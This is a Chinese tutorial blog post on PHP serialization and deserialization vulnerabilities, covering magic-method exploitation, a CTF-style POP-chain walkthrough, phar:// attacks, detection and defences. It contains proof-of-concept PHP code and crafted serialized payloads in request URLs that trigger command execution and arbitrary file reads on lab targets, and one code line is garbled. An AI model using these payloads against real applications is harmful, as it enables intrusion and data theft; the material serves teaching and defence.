• 序列化与反序列化笔记


    序列化与反序列化

    为什么会有序列化与反序列化的需求呢?

    序列化是把对象转换成有序字节流,通常都是一段可阅读的字符串,以便在网络上传输或者保存在本地文件中。同样,如果我们想直接使用某对象时,就可能通过反序列化前面保存的字符串,快速地重建对象,也不用重写一遍代码,提高工作效率。
    以 PHP 语言为例,下面以代码示例介绍下序列化与反序列化,帮助你更直观地理解两者的概念。
    1.序列化示例
    PHP 中通过 serialize 函数进行序列化操作,先定义个类,然后用它创建个类对象再序列化,代码示例如下:

    
      class People{
          public $id = 1;
          protected $name = "john";
          private $age = 18;
      }
      $obj = new People();
      echo serialize($obj);
      ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在 PHP 7.4.3 版本下执行,它会输出以下这段字符串:

    $ php -v
    PHP 7.4.3 (cli) (built: Oct  6 2020 15:47:56) ( NTS )
    Copyright (c) The PHP Group
    Zend Engine v3.4.0, Copyright (c) Zend Technologies
        with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
    $ php test.php 
    'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    注意:有些终端在输出时,可能会把其中的 \x00 过滤掉,“Peopleage” 其实是 “\x00People\x00age” 这样的数据,在后面进行反序列化操作时要注意,可拿前面的变量名长度进行对比。
    对生成后序列化字符串前半部分做个解释,后面类似:

    O:代表对象Object
    6:对象名称长度
    People:对象名称
    3:变量个数
    s:数据类型
    2:变量名长度
    id:变量名
    i:整数类型
    1:变量值
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    序列化后有很多数据类型的表示,你先提前了解一下,以后写反序列化利用时有可能会用到。

    a - array 数组型
    b - boolean 布尔型
    d - double 浮点型
    i - integer 整数型
    o - common object 共同对象
    r - objec reference 对象引用
    s - non-escaped binary string 非转义的二进制字符串
    S - escaped binary string 转义的二进制字符串
    C - custom object 自定义对象
    O - class 对象
    N - null 空
    R - pointer reference 指针引用
    U - unicode string Unicode 编码的字符串
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    序列化操作就是将对象转换成可阅读可存储的字符串序列。
    2.反序列化示例
    反序列化就是对前面的序列化的反向操作,即将字符串序列重建回对象。
    现在我们将前面生成的序列化字符串进行反序列化操作,通过 unserialize() 函数来实现:

    
      $str = 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}';
      $u = unserialize($str);
      echo $u->id;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    执行之后,成功获取到 People 的属性 id 值,说明反序列化重建出来的对象是可用的:

    $ php test.php
    1
    
    • 1
    • 2

    如果你访问 $name 与 $age 就会出错,因为它们不是公有属性,不可直接访问:

    PHP Fatal error:  Uncaught Error: Cannot access private property People::$age in /tmp/test.php:14
    Stack trace:
    #0 {main}
      thrown in /tmp/test.php on line 14
    PHP Fatal error:  Uncaught Error: Cannot access protected property People::$name in /tmp/test.php:14
    Stack trace:
    #0 {main}
      thrown in /tmp/test.php on line 14
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    这里主要介绍的是 PHP 的序列化与反序列化.

    漏洞是如何产生的?

    反序列化原本只是一个正常的功能,那为什么反序列化就会产生漏洞呢?
    当传给 unserialize() 的参数由外部可控时,若攻击者通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,比如 PHP 中特殊的魔术方法,这些方法在某些情况下会被自动调用,为实现任意代码执行提供了条件,这时反序列化漏洞就产生了,PHP 反序列化漏洞有时也被称为“PHP 对象注入”漏洞。

    攻击反序列化漏洞

    反序列化参数可控后,如果我们只能针对参数的类对象进行利用,那么攻击面就太小了。这时利用魔术方法就可以扩大攻击面,它在该类的序列化或反序列化中就可能自动完成调用,对于漏洞的利用可以起到关键作用。除此之外,还有 POP 链构造等手法都可以进一步扩大攻击面,达到代码执行的效果。

    1.利用魔术方法

    魔术方法就是 PHP 中一些在某些情况下会被自动调用的方法,无须手工调用,比如当一个对象创建时 __construct 会被调用,当一个对象销毁时 __destruct 会被调用。
    下面是 PHP 中一些常用的魔术方法:
    __construct() #类的构造函数
    __destruct() #类的析构函数
    __call() #在对象中调用一个不可访问方法时调用
    __callStatic() #用静态方式中调用一个不可访问方法时调用
    __get() #获得一个类的成员变量时调用
    __set() #设置一个类的成员变量时调用
    __isset() #当对不可访问属性调用isset()或empty()时调用
    __unset() #当对不可访问属性调用unset()时被调用。
    __sleep() #执行serialize()时,先会调用这个函数
    __wakeup() #执行unserialize()时,先会调用这个函数
    __toString() #类被当成字符串时的回应方法
    __invoke() #调用函数的方式调用一个对象时的回应方法
    __set_state() #调用var_export()导出类时,此静态方法会被调用。
    __clone() #当对象复制完成时调用
    __autoload() #尝试加载未定义的类
    __debugInfo() #打印所需调试信息

    下面通过一段漏洞代码来演示下魔术方法在反序列化漏洞中的利用,vul.php 漏洞代码如下:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    先分析下代码,$_GET[‘str’] 获取 get 参数 str 值,然后传递给 unserialize 进行反序列化操作,这就是导致漏洞的地方。
    那么我们该如何利用呢?审查整份代码,发现 Evil 类中的命令执行方法 run(),如果能控制其中的 $cmd 变量就可以实现远程命令执行。在 People 类的 __construct 方法中有属性赋值操作,将 Student 对象赋值给 $type 属性。
    同时,在 __destruct 方法中有调用 run() 方法的操作,因此我们可以设法此这些操作关联起来,写出利用代码去生成用来实现命令执行的序列化字符串。
    利用代码:
    在这里插入图片描述
    在这里插入图片描述
    运行生成序列化字符串:

    $ php poc.php
    O:6:"People":1:{s:12:"Peopletype";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}
    
    • 1
    • 2

    里面的 “Peopletype” 又被吃掉 \x00 了,得补回去,然后将上述字符串作为 get 参数 $str 的值发送给 vul.php:
    http://127.0.0.1/vul.php?str=O:6:%22People%22:1:{s:12:%22%00People%00type%22;O:4:%22Evil%22:1:{s:3:%22cmd%22;s:2:%22id%22;}}
    在这里插入图片描述
    总结下利用思路:

    • 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方,正如示例中的 Evil 类;
    • 追踪调用第 1 步中方法的其他类方法/函数,正如示例中 People 类方法 __destruct();
    • 寻找可控制第 1 步方法的参数的其他类方法函数,正如示例中 People 类方法 __construct();
    • 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串;
    • 将生成的序列化字符串传递给漏洞参数实现利用。
    2.POP 链构造

    面向属性编程(Property-Oriented Programing,POP)利用现有执行环境中原有的代码序列(比如原程序中已定义或者可动态加载的对象属性、方法),将这些调用组合在一起形式特定的调用链,以达到特定目的的方法。这与二进制漏洞利用中的 ROP(Return-Oriented Progaming,面向返回编程)的原理是相似的。
    其实前面利用魔术方法构建调用链的方法就算是 POP 链,只是比较简单,在真实的漏洞环境中,会复杂很多。
    一道 CTF 题,帮助更好地理解构建 POP 链的思路。
    题目代码如下,代码中有 3 个类,Output 类有构造方法 construct 和析构方法 destruct,Show 类中有一些设置属性值的方法,Test 类中则含有读取文件的方法,最后使用 GET 参数传入 unserialize() 函数导致反序列化漏洞。

    
    class Output{
        public $test;
        public $str;
        public function __construct($name){
            $this->str = $name;
        }
        public function __destruct(){
            $this->test = $this->str;
            echo $this->test;
        }
    }
    class Show{
        public $source;
        public $str;
        public function __construct($file){
            $this->source = $file;
            echo $this->source;
        }
        public function __toString(){
            $content = $this->str['str']->source;
            return $content;
        }
        public function __set($key,$value){
            $this->$key = $value;
        }
        public function _show(){
            if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
        }
        public function __wakeup(){
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    class Test{
        public $file;
        public $params;
        public function __construct(){
            $this->params = array();
        }
        public function __get($key){
            return $this->get($key);
        }
        public function get($key){
            if(isset($this->params[$key])){
                $value = $this->params[$key];
            } else {
                $value = "index.php";
            }
            return $this->file_get($value);
        }
        public function file_get($value){
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    }
    show_source(__FILE__);
    $name=unserialize($_GET['strs']);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65

    按照前面介绍的利用思路,一步步来套用上。
    1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方。
    在题目中,没有找到上面用于执行代码或命令的函数,但是在 Test::file_get() 调用 file_get_contents 读取文件内容,如果能够利用它实现任意文件读取也是可取的,因此就以 Test 类方法 file_get 为目标方法;
    2. 追踪调用第 1 步中方法的其他类方法/函数。
    看哪里调用 Test::file_get(),可以看到是 Test::get(),再往上追踪,发现是在 Test::__get() 调用的,这个 __get() 魔术方法的触发条件是:读取不可访问属性值,包括私有或未定义属性。在 Show::__toString() 中就有对未定义属性 $content 的操作,这样就会触发 __get() 方法。再往上追溯,发现 Output::__destruct() 中调用到 echo 函数可触发 __toString() ,这样就得到整个调用链如下:
    在这里插入图片描述

    3. 寻找可控制第 1 步方法的参数的其他类方法函数。
    这里需要控制的是 file_get_contents($value) 中的参数 $value,依次往上追溯,发现其来自数组中的一个元素值,得到如下传播路径:
    在这里插入图片描述
    为了对应 Show::__toString() 中的 $this->str[‘str’]->source ,我们可以通过array(‘source’=>‘可控内容’) 来控制 $value,即打算读取的文件路径。进一步优化下传播路径:

    在这里插入图片描述
    4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串。
    根据调用链可以知道,起始的调用类在 Output,因此我们需要反序列化它。
    基于前面的分析,PoC 代码如下:

    
      class Output{
        public $test;
        public $str;
        public function __construct($name){
              $this->str = $name;
          }
          public function __destruct(){
              $this->test = $this->str;
              echo $this->test;
          }
      }
      class Show{
        public $str;
        public $source;
        public function __toString(){
              $content = $this->str['str']->source;
              return (string)$content;
          }
      }
      class Test{
        public $file;
        public $params;
        // 原方法的定义此处省略,因为它对生成序列化字符串没有影响
      }
      $test = new Test();
      $test->params = array('source'=>'/var/www/html/flag.php');
      $show = new Show();
      $show->str = array('str'=>$test);
      $output = new Output($show);
      echo serialize($output);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    执行后得到如下序列化字符串:
    O:6:“Output”:2:{s:4:“test”;N;s:3:“str”;O:4:“Show”:2:{s:3:“str”;a:1:{s:3:“str”;O:4:“Test”:2:{s:4:“file”;N;s:6:“params”;a:1:{s:6:“source”;s:22:“/var/www/html/flag.php”;}}}s:6:“source”;N;}}

    5. 将生成的序列化字符串传递给漏洞参数实现利用
    漏洞参数是 GET 参数 str,因此可以如此构造请求:
    http://127.0.0.1/vul.php?str=O:6:“Output”:2:{s:4:“test”;N;s:3:“str”;O:4:“Show”:2:{s:3:“str”;a:1:{s:3:“str”;O:4:“Test”:2:{s:4:“file”;N;s:6:“params”;a:1:{s:6:“source”;s:22:“/var/www/html/flag.php”;}}}s:6:“source”;N;}}

    整个过程可能有点绕,但 POP 链的利用技术就是如此,需要你对目标程序进行全方位的分析,提取出可利用的调用链进行组装,才有可能实现真正的攻击效果。

    3.phar 文件攻击

    在 2018 年 BlackHat 黑客大会上,安全研究员 Sam Thomas 分享了议题“It’s a PHP unserialization vulnerability Jim, but not as we know it”,介绍了一种关于利用 phar 文件实现反序列化漏洞的利用技巧,利用的是 phar 文件中序列化存储用户自定义的 meta-data,在解析该数据时就必然需要反序列化,配合 phar:// 伪协议即可触发对此的反序列化操作。比如如下代码即可触发对 test.txt 文件内容的反序列化操作:
    f i l e n a m e = ′ p h a r : / / p h a r . p h a r / t e s t . t x t ′ ; f i l e g e t c o n t e n t s ( filename = 'phar://phar.phar/test.txt'; file_get_contents( filename=phar://phar.phar/test.txt;filegetcontents(filename);

    在实际利用时,还可以对 phar 文件进行格式上的伪造,比如添加图片的头信息,将其伪装成其他格式的文件,用于绕过一些上传文件格式的限制。

    如何挖掘反序列化漏洞?

    1.代码审计
    个人认为,想主动检测一些反序列化漏洞,特别是 0day 漏洞,最好的方法就是代码审计,针对不同的语言的反序化操作函数,比如 php unserialize 函数,还要注意 phar 文件攻击场景,然后往上回溯参数的传递来源,看是否有外部可控数据引用(比如 GET、POST 参数等等),而又未过任何过滤,那么它就有可能存在反序列化漏洞。
    2.RASP 检测
    在《08 | SQL 注入:漏洞的检测与防御》中已经介绍过 RASP,可以针对不同的语言做一些 Hook,如果发现一些敏感函数(比如 php eval、unserialize)被执行就打印出栈回溯,方便追踪漏洞成功,以及漏洞利用技术技巧,整个 POP 链也可以从中获取到。
    所以,通过 RASP 不仅有利于拦截漏洞攻击,还可以定位漏洞代码,以及学习攻击者的利用技术,为后续的漏洞修复和拦截提供更多的参考价值。
    3.动态黑盒扫描
    通过收集历史漏洞的 payload,再结合网站指纹识别,特别是第三方库的识别,然后再根据不同的第三方库发送对应的 payload,根据返回结果作漏洞是否存在的判断。
    这项工作也常于外曝漏洞后的安全应急工作,然后加入日常漏洞扫描流程中,以应对新增业务的检测。

    防御反序列化漏洞

    • 黑白名单限制
      针对反序列化的类做一份白名单或黑名单的限制,首选白名单,避免一些遗漏问题被绕过。这种方法是当前很多主流框架的修复方案。
      黑名单并不能完全保证序列化过程的安全,有时网站开发个新功能,加了一些类之后,就有可能绕过黑名单实现利用,这也是为什么有些反序列化漏洞修复后又在同一个地方出现的原因。
    • WAF
      收集各种语言的反序列化攻击数据,提取特征用于拦截请求。
    • RASP
      RASP 除了可以检测漏洞外,它本身也可以提供类似 WAF 的防御功能。
  • 相关阅读:
    绝绝让你明白跨域cores
    60道Python常见面试题,做对80% Offer任你挑!
    hive 之with as 和create view 和create temporary table用法
    记一次PDU接室外监控溶解事故
    TGK-Planner无人机运动规划算法解读
    关卡二:基于ECharts数据可视化项目
    深入浅出零钱兑换问题——背包问题的套壳
    使用MindStudio的X2MindSpore工具进行训练脚本转换
    【记录】GLICB2.25 升级时报错
    深入分析 Android BroadcastReceiver (三)
  • 原文地址:https://blog.csdn.net/qq_32812063/article/details/128035991